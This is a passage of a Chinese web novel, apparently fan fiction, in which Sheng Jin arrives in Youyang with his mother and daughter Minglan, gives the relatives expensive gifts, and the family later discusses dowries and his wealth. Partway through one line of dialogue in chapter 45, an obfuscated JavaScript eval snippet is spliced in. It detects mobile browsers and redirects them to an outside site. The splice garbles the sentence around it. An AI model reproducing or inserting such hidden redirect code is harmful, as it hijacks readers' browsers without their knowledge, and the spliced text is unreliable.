盛纮轻声细语,道:“我先前给你的那些个田产铺子,如今都被我交到了老太太手上,而打理这些个田产铺子之人也是我细细挑选出来的,这期间挣到的银钱也由老太太一同保管,等将来墨儿出嫁时,这些个田产铺子银钱一分为二,一份给枫儿,一份给墨儿当嫁妆,另外老太太曾说过家中姑娘出嫁她一律贴补一千五百两,二哥哥也说过从丰国公府出嫁的姑娘会得到五千两银子置办嫁妆,大娘子虽管着中馈,但也不能不按照家中规矩从中馈中支出两千两给姑娘置办嫁妆,到时候我再添一些,墨儿的嫁妆不会薄到哪里去的,霜儿,你就放心吧。” 当初林噙霜被送到院子之前,盛老太太就曾写信提醒过盛纮这个问题,盛纮思虑过后便派人收回了给林噙霜的田产铺子交给盛老太太保管,毕竟他有自知之明,林噙霜的这些个田产铺子都是他瞒着王若弗给的,若是这些东西放在他手上久了难保王若弗不会察觉,等王若弗发现这些个田产铺子的存在,他恐怕就保不住这些东西了。 林噙霜一听盛纮这么说,嘴角下意识的抽搐了一下,当初她被抓到庄子前,盛纮就曾派人拿走了她全部的田产铺子,当时她瞧着那气氛不对也就给了,没想到如今却成了盛纮拿来堵她的话。 林噙霜瞧着盛纮这架势,也知道短时间内说服盛纮将她带回盛家是不可能的,因此,她与其多说惹盛纮烦心以后再也不来庄子上,还不如先讨好盛纮,这样即使她在庄子上也没人敢对她如何,更何况她就不信日子久了,还说不动盛纮将她带回盛家,于是她便不再多言,而是拉着盛纮说了几句后便共赴巫山了。 第 45 章 清晨,盛瑾和盛老太太乘坐的船已然来到了宥阳地界,而盛维早在七天前收到盛老太太第二封信件后,便带着盛长松与一些小厮一同在此等待了五天,近日他们本以为又等不到盛瑾一行人了,没成想小厮看见一艘大船上的人十分眼熟,定睛一看,好似盛老太太身边的丫鬟,于是他便跑回客栈给盛维父子报信了。 等盛维父子赶到这里时,便看见一艘大船正在缓缓靠岸,没多久,这艘大船便平稳的停靠在了岸边,然后,他们便看见一位英俊非凡的男子一手抱着一个小姑娘,一手扶着一位老太太下了船,身后还跟着一位老嬷嬷和丫鬟,丫鬟手中还抱着一个襁褓中的婴儿。 盛维只一眼便认出了那位老太太正是盛老太太本人,随即大步上前走到盛老太太面前,满脸笑意,语气中带着一丝激动,道:“二婶婶,懿安。” 盛维说到这里,语气中带着些许关怀,继续道:“二婶婶,您这一路舟车劳累的,属实是辛苦了啊!” 盛瑾扶着盛老太太,面色不变的打量了一番盛维,他发现盛维的轮廓和自己有几分相似,再加上盛维对盛老太太的问候,心里已经猜出这位就是盛老太太口中的盛家大房主君盛维了,不过,他还是安静的等待盛老太太开口。 盛老太太看着盛维,脸上浮现出一抹笑容,语气中带着一丝亲近,道:“维哥儿多虑了,这一路上风景秀丽,我看的怡然自得,哪来的辛苦一说啊!” 盛老太太说着,又将目光看向盛瑾,笑意盈盈,道:“瑾儿,你也别见怪,你维堂兄他向来如此,对了,他就是我和你说过的盛维,盛家大房唯一的男丁,你的堂兄。” 盛瑾听着盛老太太的话,本来是打算给盛维行一礼的,可是他先前没想到盛维会在此等待他们,如今他抱着盛明兰自然无法给盛维行礼,只能笑道:“维堂兄实在抱歉,我现下抱着小女,多有失礼之处,还望维堂兄莫要见怪啊!” 盛瑾这边因抱着盛明兰无法行礼,可他怀里的盛明兰倒是出乎意外的给盛维做了个行礼的手势,乖巧的对着盛维说道:“维堂伯父,万安。” 盛维看着盛瑾和盛明兰只觉得周围的空气都清新了不少,也不知道什么原因,如果盛瑾知道此时盛维在想什么的话,一定会告诉他一个词“养眼”。 盛维并不在乎盛瑾没有给他行礼的事情,他眼含笑意的看着盛瑾怀中的粉嫩团子,道:“瑾堂弟说笑了,一家人哪来的那么多礼节啊!对了,这就是二婶婶信中说到的你女儿吧,瞧着真是个惹人疼爱的小姑娘啊!”毕竟盛瑾已经叫他维堂兄了,他也不好叫盛瑾盛国公。 盛瑾被盛维的这句“你女儿”极大的取悦了,他脸上的笑意又浓了几分,道:“嗯,这就是我的女儿盛明兰。” 盛维看着盛瑾这样感觉自己找的了如何和盛瑾交流的方法了,他摸了一下身上由羊脂玉制成的精致玉佩,感觉还算拿的出手,便将玉佩取下来,满脸笑意的递给盛瑾怀中的盛明兰,语气柔和,道:“来,明姐儿拿着,这是维堂伯父送你的礼物。” 盛明兰抬头看向盛瑾,只见盛瑾微微点了点头,她便接过盛维手中的玉佩,十分礼貌的回道:“谢谢,维堂伯父。” 盛维看着盛明兰如此知礼,便知道她是个好孩子,然后,他看了眼身旁的盛长松,笑着介绍道:“瑾堂弟,这是我的嫡长子盛长松。” 盛长松一眼看到盛瑾时,就想到了世人对盛瑾的评价“陌上公子玉无双”,岁月仿佛格外的疼爱盛瑾一般,如今三十多岁的人看起来却犹如二十多岁般,他一时看得入了神,不过,盛维的声音将他唤了回来,他急忙调整状态,对着盛瑾恭恭敬敬的行礼,道:“瑾堂叔父,万安。” 盛瑾看着这身姿挺拔的少年,一脸和善的打趣道:“不用如此拘谨,你父亲才说的一家人不用如此多礼,瞧你这样,等我给你们见面礼时,你莫非要更紧张了。” 盛长松虽跟着盛维见过一些世面,但到底年少,被盛瑾这一调侃,脸上浮现出一抹红晕,不知如何回复盛瑾才好,而身旁的盛维瞧着盛长松这般,一脸笑意的为盛长松回道:“松儿他们几个能得到瑾堂弟手里的好东西可算是有福了,到时候我可要让他们好好谢谢瑾堂弟啊!” 盛老太太看到这样的场景,脸上也洋溢起几分笑容,道:“好了,别说了,快回去吧,这样谢来谢去,要谢到什么时候啊!” 盛维听到盛老太太的话,笑着回是后,便吩咐自己带来的小厮们将盛瑾的东西都装到马车上,不过,盛瑾这次来宥阳带了三十五个大箱子,其中有五个箱子装的是盛瑾从丰国公府寄来的那是十七个箱子中挑选的东西,一个大箱子装的是盛明兰从盛瑾给他的三个大箱子中挑选的东西,剩下的箱子都是白滢婷准备的东西。 盛维因着错估了盛瑾所带东西的数量,导致他带来的马车不够装完盛瑾的东西,索性他在这里也有铺子,没一会儿,小厮便找来了十几辆马车,用了三个时辰才将盛瑾的东西装完。 盛维瞧着这些个东西,内心和小厮们的想法达成了一致,他们不由自主的感慨道:“盛国公真是有钱啊!瞧着这些个东西,世人传的盛国公富可敌国的事情没有十分真的,也有七八分真的了。” 等小厮们将盛瑾的东西都装完后,盛瑾一行人便上了马车,盛维、盛长松、盛瑾和盛明兰在同一辆马车上,而盛老太太、房嬷嬷、小蝶与盛长安则被安排在了另一辆马车上。 等盛瑾上了马车后,他便将盛明兰放在自己的腿上的同时,还用一只手护住她,这引得盛维在心里暗暗惊讶,以至于他们一行人在回宥阳盛家老宅的路上,他都在悄悄地观察盛瑾与盛明兰的相处情况,结果他发现这一路上盛瑾一直抱着盛明兰不放手,因此,他重新评估了一下盛明兰在盛瑾心目中的份量,并将自己对盛明兰的重视程度又上升了一层高度。 盛维这边悄悄的打量着盛瑾,而盛长松那边则是有些不知所措,他坐在一旁十分拘谨的同时,又有些害羞,只能低着头看着地面,虽说盛瑾是他的堂叔父,但盛瑾到底是个国公爷,他从未和这种身份的人相处过,也不知道该如何闲聊。 盛长松低着头看了好一会儿地面后,自觉有些不礼貌,随即微微抬起头,看了一眼盛瑾,没成想竟被盛瑾看到了。 盛瑾碰巧看到盛长松抬头看了他一眼,他瞧着盛长松那拘谨的样子,脸上带着一抹笑意的对盛长松点了点头以示友好,结果他这一笑让盛长松的脸一下子红透了。 盛瑾看着盛长松这样,心里突然起了逗逗盛长松的心思,但他转念一想,自己和盛长松才刚认识不久,万一逗过头了,盛长松有心理阴影怕了他,以后不理他了咋办,他一直秉持着可持续发展的理念,让他压住了自己内心的想法。 一旁的盛维并不知道盛瑾的心思,他瞧着外面的景色,心里暗暗盘算着还有多久才能到达宥阳盛家,而在宥阳盛家的李氏和盛纭一行人正在焦急的等待,不过,盛家三房的人不知为何没有到场。 李氏等人对此不仅没有怨言,还暗暗松了口气,毕竟她们了解盛家三房的德性,也担心盛家三房若是来了会惹出什么恶心人的事情,搞得大家都下不了台,那就不好了。 李氏和盛纭本来应该随着盛大老太太一起在院中等待着盛瑾他们的到来,可盛大老太太见等的时间有些久了便萌生出了去外面看看盛瑾他们到了嘛的想法,李氏和盛纭自然是不肯的,毕竟盛大老太太如今的身体不是很健朗,于是她们想了个折中的法子,那便是她们代替盛大老太太在外面等待,若是她们看到盛瑾一行人,便立马回来告知盛大老太太,这才将盛大老太太劝回院子里等待了。 盛大老太太的女儿盛纭站在一旁不禁想起自家母亲给自己的来信时的场景,那时她还以为这是盛大老太太写给她的问候信呢,结果是告知自己一夕之间多了个国公爷身份的堂兄,她属实是被信里的内容下了一跳,如今想来都觉得是在做梦一般。 等盛大老太太第二封来信让她回盛家时,她便与胡家人讨论了一下,她的公婆让她和胡二牛(盛纭的官人)带上孩子们赶紧回盛家,他们觉得盛大老太太不会拿这种事情开玩笑的,正好他们去混个脸熟,以后好维系关系,于是她就带着胡二牛和孩子们一起来到了盛家。 盛纭感觉自己这一路上就像是做梦一般,直到盛大老太太将这件事情的来龙去脉告诉了她后,她才宛如从梦中醒来般,当时的她不由自主的感慨道:“二婶婶真是好人有好报啊!这不,多了一对有出息的儿孙,如今又要添一对孙子孙女了。” 盛纭身旁的李氏等得有些焦急,她语气中带着一丝担忧,道:“官人不是派人来说二婶婶她们已经到了嘛,怎么这个时辰还没到家呢?” 盛纭刚想开口安抚李氏时,原本安静的站在盛家门口的胡二牛眼尖的瞅见了大老远行驶而来的十几俩马车,他指着远处对盛纭和李氏,轻声道:“娘子,大嫂嫂,你看那边是不是大哥哥的马车啊!” 李氏和盛纭闻言,朝着胡二牛指的方向望去,李氏眼神一亮,语气中带着些许激动,道:“妹妹,是官人他们回来了,我们快去告诉母亲吧,别让母亲等久了。” 李氏说完便带着盛纭有些急促的往盛大老太太的院中小跑,只留下胡二牛一人在原地迎接盛瑾一行人,此时盛瑾一行人的马车正缓缓的朝盛家大门驶来,过了好一会儿才行驶到盛家大门前,待马车停稳后,盛维率先下了马车,紧随其后的是盛长松,而盛瑾则是抱着盛明兰最后一个下的马车。 盛瑾一下马车便抱着盛明兰去了另一辆马车,他将正要下马车的盛老太太扶了下来,房嬷嬷接着紧跟其后下了马车,而小蝶抱着盛长安最后一个下了马车。 等盛瑾一行人都下了马车后,胡二牛才仔细打量起盛瑾的模样,此时他的脑海里只有四个字“惊为天人”。 盛维瞧着有些发愣的胡二牛,随即上前拍了拍胡二牛的肩膀,嘴角微微上扬的对着盛瑾,道:“瑾堂弟,这是我妹妹盛纭的官人胡二牛。” 胡二牛被盛维给拍回过神来,脸上浮现出憨憨的笑荣,对着盛瑾恭敬的行礼,道:“见过盛国公。” 盛瑾脸上浮现出得体的微笑,语气中带着一丝亲近,道:“什么盛国公不盛国公的,一家人,你就叫我瑾堂兄吧。” 胡二牛虽然脸上仍保持着憨憨的笑容,但语气却不似刚才那么恭谨,而是带着些许亲近,道:“既然瑾堂兄都这么说了,那我便依着瑾堂兄的意思了。” 盛瑾闻言,只觉得自己这位堂妹的官人真是个秒人啊!看似憨厚老实,实则粗中带细,还会顺杆子爬,不错不错,真是有趣极了。 盛瑾瞧着小蝶怀中的盛长安有些困意,便与盛维商议先让小蝶抱着盛长安去院中歇息,等盛长安睡醒后,再抱过来给盛大老太太请安。 盛维瞧着小蝶怀中的盛长安,满脸笑意,道:“瞧瑾堂弟说的,小孩子要紧,见面的事情不急着这一时。” 盛维说完便吩咐身旁的小厮带着小蝶和其他人去盛瑾他们要休息的院子,不过,盛瑾身边有两个小厮各抱着一个盒子没有一同离去,其余人则是随着盛维这边的小厮们将马车上的箱子卸下来搬到院子中,因为盛瑾早已吩咐自己的小厮们将他准备的珠宝首饰、玉佩等小型贵重见面礼拿在手中,而其余的布匹之类的东西等他们歇下来后再送到盛家大房各院去。 盛维对此没有多言,只是让自家小厮们仔细点搬东西后,便要带着盛瑾一行人前往盛大老太太的院子,而盛瑾则是一手扶着盛老太太,一手抱着盛明兰,他身后还跟着那两个抱着盒子的小厮,随盛维胡二牛等人一同进了盛家。 盛瑾扶着盛老太太走过盛家正门,穿过了二门和茶房门房,而后顺着传廊走进内宅里面,来到了盛大老太太的院子,绕过罩壁,进到正堂里,而早已得到消息的盛大老太太已经在自己院中等候多时了。 盛瑾一进门就看到一位发丝银白的老妇人,定睛一看,这位老妇人面貌瘦弱干枯,只一双眼睛湛然有神,当她一看见盛老太太时,眼中散发出光芒,随即站起来,大步走过来,张开双手便要去扶盛老太太。 盛瑾看到这样,便知这位就是大房的老太太了,顾及着盛大老太太的身体,他不敢让她多走几步,随即将自己扶着盛老太太的那只手递了出去,当两位老太太的手碰在一起时,他便将自己的手抽了出来。 盛大老太太和盛老太太的手碰到一起时,两人都紧紧的抓住了彼此的手,眼眶通红的看着对方,仿佛述说着对方无尽的思念。 这时盛瑾才开始打量着在座的另外两位妇人,其中一位妇人肤色微黑,但是一双眼睛却灵动活泼得真不似她的年纪,给人感觉十分舒适,另一位圆脸妇人看上去一身的富态相,周身气度给人一种亲切和气却又稳重威仪的感觉。 盛瑾打量着李氏和盛纭的同时,李氏和盛纭也在打量着盛瑾,最让人震惊的是盛瑾那张绝美中带着一丝英气的脸,而后则是盛瑾那一身优雅淡泊又不失威严的气度,此时她们不由得想起了一句话“身长八尺,风姿特秀,萧萧肃肃,爽朗清举,龙章凤姿,天质自然”。 盛大老太太和盛老太太互看了好久后,盛大老太太才回过神来看向盛瑾,心里不由得惊叹道:“这孩子的相貌属实是比他爹还好啊!不只是相貌,性情和品行也是极好的,不像他爹和大伯父那般宠妾灭妻,是个专一的好孩子。” 盛大老太太脸上挂着和善的表情,语气亲近,道:“二弟妹,这就是瑾哥儿吧,长的真好啊!比他爹长的还要好,人也是青出于蓝胜于蓝。” 盛大老太太说着便瞧见了盛瑾怀里的盛明兰,眼神中带着些许慈爱,道:“这就是明姐儿吧,长的和她爹一样好。” 盛大老太太这么一说,李氏和盛纭才从盛瑾的美颜暴击中回过神来,看向盛瑾怀中的粉嫩小团子。 李氏和盛纭看着盛明兰的长相,心里不禁感叹道:“这小姑娘长的可真精致啊!看的人心生喜爱,以后绝对是个大美人。”而后她们突然发现盛瑾好像从进门来就一直抱着盛明兰,心中对盛明兰的重视程度又上了一层。 盛瑾将盛明兰放了下来,盛明兰也乖巧的松开自己抱着盛瑾脖子的双手,转而站在盛瑾身旁,然后,盛瑾对着盛大老太太拱了拱手,行了一礼,道:“大伯母,懿安。” 盛瑾身边的盛明兰见自己的父亲这样做,也紧随其后的给盛大老太太行了一礼,不过,因着她身子小小的,行礼时有些不便,左右摆动,那姿态十分的可爱,让人不忍说什么,于是她就这样歪歪扭扭的给盛大老太太行了个礼后,奶声奶气道:“大祖母,金安。” 盛明兰这副模样可把一旁的李氏和盛纭看得心里一阵可乐,只觉得这孩子乖巧又懂事,真真是让人不由得想要与她亲近啊! 盛老太太十分满意自己儿子和孙女的行为,而盛大老太太则是被盛明兰的行礼极大的取悦了,她朝盛明兰挥了挥手,待盛明兰走进后,便抱起盛明兰,满眼慈爱,道:“明姐儿真是乖啊!大祖母很开心。” 盛大老太太就这样抱了盛明兰好一会儿才放开,然后,她又笑着向盛瑾介绍盛纭和李氏,道:“瑾哥儿,这个是我的女儿盛纭和媳妇李氏。” 只见随着盛大老太太的话音,盛纭和李氏分别给盛瑾服了服身,行礼了,盛瑾也随着回了一礼,他身旁的盛明兰也茫然的随着盛瑾行礼。 盛瑾先前就猜出二人是盛维的妹妹和娘子,只是不知道那位是盛维的娘子,那位是盛维的妹妹,如今盛大老太太这么一介绍,他也知道那皮肤有些黑的妇人是盛维的妹妹盛纭,而那圆脸的妇人则是盛维的娘子李氏 。 盛大老太太介绍完李氏和盛纭不久后,不知何时消失的盛维和胡二牛带着盛长松、盛长梧、盛淑兰、盛品兰、胡泰生、胡桂姐一群人先后再次跨过大门进入房间,一下子十分宽敞的屋内给人些许拥挤的感觉,不过,这种拥挤也只是一种错觉罢了,实际上屋内还是很宽阔的。 盛瑾为官多年,当初一大群官员围着他时,他都能淡定自若的应付,更何况是如今一大群小孩子盯着他看呢,这对于他而言简直是毫无压力,而他身旁的盛明兰小朋友可没这份心境啊!她因着第一次见到这么多亲戚有些紧张的抓着盛瑾的衣角。 盛瑾感受到盛明兰的紧张,随即微笑的握住盛明兰的小手,大手包裹着小手,安抚着盛明兰的心情,仿佛给盛明兰带来了力量。 盛长松带着自己的姐姐弟弟妹妹一同给盛瑾行礼,齐声道:“盛长松(盛淑兰)(盛长梧)(盛品兰)见过瑾堂叔父。” 胡泰生小朋友则是跟着自己的姐姐胡桂姐一起给盛瑾行礼,齐声道:“胡桂姐(胡泰生)见过瑾舅舅。” 盛瑾看着眼前这群大可爱和小可爱,眼中满是笑意,语气轻柔,道:“嗯,都是好孩子,此次前来我给你们预备了见面礼,正好今日就直接给你们吧。” 盛瑾用眼神示意自己的那两个小厮将两个盒子都打开,然后,他从其中一个盒子里取出三块雕刻精致的极品青玉玉佩分别塞到盛长松、盛长梧、胡泰生手中后,又从另一个盒子里取出三串粉色的珍珠手链分别塞到了盛淑兰、盛品兰、胡桂姐手中。 李氏和盛纭着实是被盛瑾的大手笔给吓着了,且不论那极品青玉玉佩的价值如何,单单是那手链上的珍珠,颗颗饱满丰润,散发着珍珠特有的光泽,最重要的是这珍珠还是粉色的,这一看就是难得遇见的好东西,于是她们便出言让盛长松他们还回给盛瑾,而盛长松他们自是不会不听从李氏她们的话的。 盛瑾瞧着盛长松他们乖乖的将手中的东西递给他时,佯装生气,道:“长辈赐不可辞,你们这是干嘛。” 盛长松他们听着盛瑾的话,一时之间僵持在原地,不知如何是好,而盛老太太此时面带微笑,语气轻柔的打趣道:“侄女侄媳妇这是怎么了,这些东西是瑾儿作为他们堂叔父舅舅的一点心意,就让他们收下吧,再说了,既然瑾儿敢送,就证明他不缺这点东西,我这儿子的身家厚着呢,不需要你们两个为他省这点东西,更何况你们不是也要送东西给明姐儿和安哥儿嘛,有来有往才是长久之道啊!” 盛大老太太看着盛老太太都这样说了,便看了一眼李氏和盛纭,道:“既然二弟妹都这么说了,你们再拒绝就不合适了,大不了把给明姐儿和安哥儿的见面礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8605827|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再备得厚些,不让瑾哥儿吃亏就是了。” 李氏和盛纭见盛大老太太和盛老太太都开口了,便对着盛长松他们微微点头,示意他们收下盛瑾的东西,不过,她们心里倒是记下了盛大老太太的话,都想着回头把要送给盛明兰和盛长安的见面礼再厚上几层,而盛维站在一旁,脸上浮现着笑意,语气中带着些许打趣的意味,道:“瞧着瑾堂弟这大手笔,我这个堂伯父也不能让小侄子侄女吃亏啊!”就连胡二牛也憨憨的点头表示复议。 这时候小蝶抱着醒来的盛长安走进来请安,盛大老太太让小蝶将孩子抱过来打量了好一会儿,道:“这孩子长的可真好啊!” 李氏和盛纭也围过来看盛长安,接下来的话题就是围着盛长安展开了,最后连孩子们也围上来看盛长安了。 等到了用膳时间,盛大老太太招呼着盛老太太以及在场的所有人一起用完膳后,方才与盛老太太分开,于是盛瑾和盛老太太回到了盛维给他们准备的一个大院子里收拾他们带来的东西,这个院子尤其说是一个大院子,还不如说是盛维特意打通两个院子改造而成的。 夜里,李氏和盛维在自己的院子里休息,丫鬟们在一旁伺候着盛维夫妇,过了一会儿,盛维让丫鬟们都下去后,对着李氏轻声细语的关怀道:“今天可是辛苦娘子了。” 李氏脸上浮现出一抹笑容,轻声道:“官人说笑了,这都是我应该做的,哪来的辛不辛苦啊!” 李氏说到这里,语气中带着一丝好奇,道:“不过,我属实是没有想到瑾堂弟今天如此大手笔啊!却不说那极品的青玉了,就是那珍珠手链也是难得的,那颗颗拇指般大小丰润的珍珠本就难得,居然还是粉色的,这可是难得一见的好东西啊!有钱也不一定买得到的,也不知道瑾堂弟从那里得到这等好东西的。” 盛维瞧着李氏这般好奇,不禁觉得好笑,道:“你忘了,瑾堂弟的师傅了嘛,世人皆传盛国公的师傅是隐世高人,给他留下了巨大的家产,就连订好婚事的女方带来的嫁妆也都是稀世珍宝,虽说传言不可信,可瑾堂弟的大娘子带着十三艘船的嫁妆驶进汴州城的事情不假,当初满汴州城的人可是亲眼看着这些个嫁妆搬了三天,可见瑾堂弟的师傅给他留了东西这件事情多半是真的。” 盛维说到这里,语气十分轻松,道:“我想这些东西应该是他师傅留给他的,再说,母亲不是让你不用放在心上吗?那你就别想那么多了,想当初瑾堂弟夫妇眼睛都没眨一下,直接给端淑县主的嫁妆可比今天这些还多得多呢,可见他并不缺这些东西。”白滢婷的嫁妆由盛瑾、慕卿云和白老爷一同准备这件事情在汴州城不算什么隐秘之事。 李氏听着盛维的话,语气中带着一丝打趣的意味,道:“我这不是想为瑾堂弟省些钱嘛,到时候好给明姐儿准备更多的嫁妆。” 盛维见李氏这样说,嘴角微微上扬,道:“瑾堂弟那用得着你给他省这么点钱,且不说瑾堂弟名下有多少田产铺子,光是瑾堂弟的封地每年收入至少一万五千两,其中还不乏陛下这些年赐给他的那些个皇庄和一成糖和盐的利润呢,那会缺钱啊!” 皇帝当初金口玉言的赐给了盛瑾一成糖和盐的利润后,不久便将圣旨赐下去了,不过,因着先前白滢婷封县主的事情,所以大家也知道盛瑾为什么会得此恩赐,反应也不大,毕竟皇帝圣旨都赐下去了,他们还能有什么反应呢。 这些年本朝盐价和糖价因着盛瑾的制糖、盐的方子而降了不少,普通老百姓都能买得起盐,虽说糖价还是有些贵,但他们咬咬牙也是买的起的,朝廷和皇帝也因此得到不少民心,因此,大部分官员对于盛瑾每年占的那一成利润也还能接受,毕竟这份恩赐也只能延续到盛长轩去世后便收回了。 盛维这些个商贾曾私底下给盛瑾算过一笔账,这一成的利润每年能给盛瑾带来至少三十万两银子,不过他们没想过薄利多销的利润会有多可怕,毕竟糖和盐是由朝堂售卖,面向全天下的百姓们,所以这一成利润每年给盛瑾带来的收益至少是五十万两银子。 盛维说到这里顿了顿,继续道:“至于明姐儿的嫁妆那就更不用你发愁了,高门大户女儿的嫁妆一般是从小攒起来的,就算瑾堂弟不知道,那婶子能不知道嘛,她可是勇毅侯府独女出身啊!估摸着明姐儿的嫁妆已经开始攒了。” 盛维是个商贾,一说到钱的事情,就忍不住多说两句,道:“明姐儿这嫁妆恐怕不少啊!你想想瑾堂弟夫妇给端淑县主添得嫁妆,那可是个义妹啊!这还是亲手养大的女儿呢,以瑾堂弟现在对明姐儿的态度,那少说都是几十万两白银的嫁妆,再加上瑾堂弟和白家父女的关系,白老爷那是将瑾堂弟当成亲子一般对待的,到时候绝对会再给明姐儿也添上一份嫁妆,白老爷这边给了,那端淑县主那边也绝对会添上一份嫁妆的。” 盛维说的有些口干舌燥,他停下来喝了口茶,歇了一会儿,看着李氏有些着急的样子,继续道:“还有二婶婶,那可是勇毅侯府独女,当年也是十里红妆嫁进来的,好东西不少呢,将来肯定也会给自己嫡亲孙女添上一份嫁妆的,再则,你想想我们的淑儿和品儿结婚时,瑾堂弟和二婶婶难道不会给她们添点嫁妆嘛,到时候我们也是要给明姐儿添妆的,以瑾堂弟的手笔,我们到时候肯定不能给少了,还有妹妹乃至纮堂弟那里,虽比不上瑾堂弟和白家父女给的多,但是盛家这边亲戚积少成多也是一笔不小的嫁妆了啊!” 李氏也是商贾之家出身的,还是执掌全家的大娘子,这算数的本事自然是十分了得,她不由自主的在心里感叹道:“乖乖,这得多少嫁妆啊!这要是娶回去,哪是媳妇啊!简直就是娶了一个金娃娃回家啊!明姐儿这是掉进了一个镶金的福窝了吧,这嫁妆恐怕嫁个王爷也是绰绰有余了吧。” 盛维看着李氏有些恍惚的神情,语气中带着些许调笑的意味,道:“不只是明姐儿,还有安哥儿,回想先前信中的内容,再瞧着今日二婶婶和瑾堂弟的态度,估计以后安哥儿的那份聘礼和家产也是由瑾堂弟来置办的,而且我怀疑纮堂弟之所以松口过继孩子八成有些原因是关于家产的。” 不得不说盛维是有些东西的,盛纮之所以愿意过继孩子,一是因为林噙霜气晕了盛瑾这件事,他对盛瑾有愧且不占理,二是他对卫如意这两个孩子感情不深,舍了两个孩子换盛瑾的亲近对于他而言也是值得,三是盛瑾放弃了盛家全部家产,并同意合府居住,这让他无法拒绝。 李氏双目瞪大,语气中充满了不可置信,道:“什么,这怎么可能啊!那二房的家产可不薄啊!就这么便宜了纮堂弟了,天底下哪有嫡子还在,家产却全部给庶子的啊!” 盛维看着李氏这般惊讶的样子,轻声道:“你这般大声做什么啊!我也只是猜测罢了,不过,说真的,二房家产虽然不薄,但对上瑾堂弟的身家实属是不够看啊!瑾堂弟若是不要二房的家产八成也是看不上的原因吧,这样也好,免得无畏争执,再说了,不是这样,恐怕纮堂弟那里也不会这么容易松口过继孩子吧,更何况二房的家产加起来可能都没有瑾堂弟给的多呢。” 李氏看到自己的官人都这么说了,也没办法再说什么了,只能在心里暗暗咬牙道:“真是便宜了王若弗了。” 李氏瞬间没有心情再说这件事情了,毕竟她一想到王若弗得了便宜就来气,于是她转移话题道:“官人,我打算在明姐儿和安哥儿的见面礼上再添上几成,如今天色已晚,只能明天再送过去,你看行吗?” 盛维对于李氏办事情还是放心的,他面带微笑,语气中带着些许恭维,道:“一切都听娘子的,娘子办事我放心啊!” 李氏闻言又满脸笑意的与盛维打趣了几句后,二人便就寝了,而另一边的盛纭和胡二牛也在讨论盛瑾,盛纭一边打量着手上拿的珍珠手链和青玉玉佩,一边感叹道:“我这瑾堂兄的身家可真不是一般的厚啊!” 胡二牛听到盛纭的话,脸上带着憨憨的笑容,道:“瑾堂兄是国公爷,身家肯定不是一般的厚,这种好东西自然不会少,这串珍珠手链就留给桂姐儿当压箱底的嫁妆吧。” 盛纭瞪了胡二牛一眼,佯装生气,道:“看你这话说的,桂姐儿也是我亲生的,难道我还会没下她的东西不成,你什么意思啊!搞得好像你这个当爹的疼桂姐儿,我这个当娘的不疼她一样。” 胡二牛挠了挠头,仍保持着憨憨的笑容,语气中带着一丝示弱,道:“我这不多嘴说了一句嘛,好,我该打,你别生气了,好娘子。” 盛纭扑通的笑了一声,道:“下次不许说了,我要去再添几成见面礼了,恐怕我那大嫂嫂此时也在添见面礼了,我们不好比她多,但也不能少到哪里去。” 胡二牛一脸我听娘子的表情,道:“这些我不懂,娘子你看着办吧,我都听你的,早点睡,别累坏了身子。” 盛纭看着这样的胡二牛,心里一暖,随即想道:“这就是我为什么当初选择他的原因,至少他是真心爱着我,护着我的,也许他不是最好的官人,但至少在我心里,他是最好的。” 盛纭满脸笑容的点头表示知道了,而胡二牛虽说不懂这些,但还是陪着盛纭,给盛纭搭把手将这些东西准备好。 第 46 章 清晨,宥阳盛家中,盛纭和李氏在用完早膳没多久后,便派小厮们给盛明兰和盛长安送来了见面礼,盛老太太让小厮们将盛明兰的见面礼直接送到她屋内,虽说盛明兰才五岁,但是她身边有小蝶在,因此盛老太太便让她管着自己的东西,而盛长安的见面礼因着他年幼直接被盛老太太收起来了。 盛明兰正以一脸懵逼的状态看着这座小山似的见面礼,过了一会儿,她睁大自己的眼睛对着小蝶,语气中满是不可置信,道:“小蝶姐姐,这些都是我的吗?” 小蝶觉得自家姑娘这个样子可爱极了,嘴角微微上扬,道:“当然是二姑娘你的,怎么二姑娘还没习惯嘛,之前白家老爷和国公爷送的可比这些还多啊!”自从盛明兰姐弟过继后,就按国公府这边的年龄排序了。 小蝶虽然面上这么说,但心里忍不住的想道:“傻姑娘,肯定是昨天国公爷送的礼物太贵重了,那两位大娘子回去又添了几成,今天才送来的。” 小蝶自从成了盛明兰的一等女使后,盛老太太便派房嬷嬷对小蝶进行了一番加急培训,如今的小蝶比当初的她成熟了不少,按理来说,盛明兰身边不应该有一等女使的,但是盛老太太将自己身边的一个名额给了盛明兰,也就是说小蝶名义上是盛老太太的一等女使,实际上是跟着盛明兰的。 盛明兰瞧着这些个东西有些发愁,道:“可是爹爹和白祖父与他们不同,明儿是爹爹和白祖父的女儿孙女,所以可以收他们的礼物,但是大婶婶和姑姑才第一天见面就收这么多礼物,不好吧。” 小蝶看着刚找来的小厮们将东西搬到另一间屋子,因着盛明兰的东西属实是有些多,也不好全放在盛明兰屋里,所以与盛明兰房间不远的一间屋子被拿来放盛明兰的东西,她一边看着小厮们搬东西,一边不以为意的笑了笑,道:“那下次二姑娘见到李大娘子和盛大娘子的女儿们时,也可以给她们送礼物表达自己的心意。” 小蝶管着盛明兰的银子和东西,自是知道盛明兰有多少家底的,关是盛瑾和白滢婷明面上就不知道送了多少东西,更何况白老爷本着什东西都没有银子好的想法,在盛明兰一行人上路时,给盛明兰小朋友塞了一个盒子,盒子里有二十两黄金、三百两银子以及两千两银票,盛明兰如今不缺钱。 小蝶是说者无意,但盛明兰却是听者有心,已经将要给盛纭和李氏女儿们送礼物的事情记在了心上了,而小蝶瞧着东西都快搬完了,随即与盛明兰请示后,从盛明兰的钱盒子中取了五两银子,其中三两银子赏给那些搬东西的小厮,另外二两银子等那两个丫鬟与她一起清点完东西后再赏给她们。 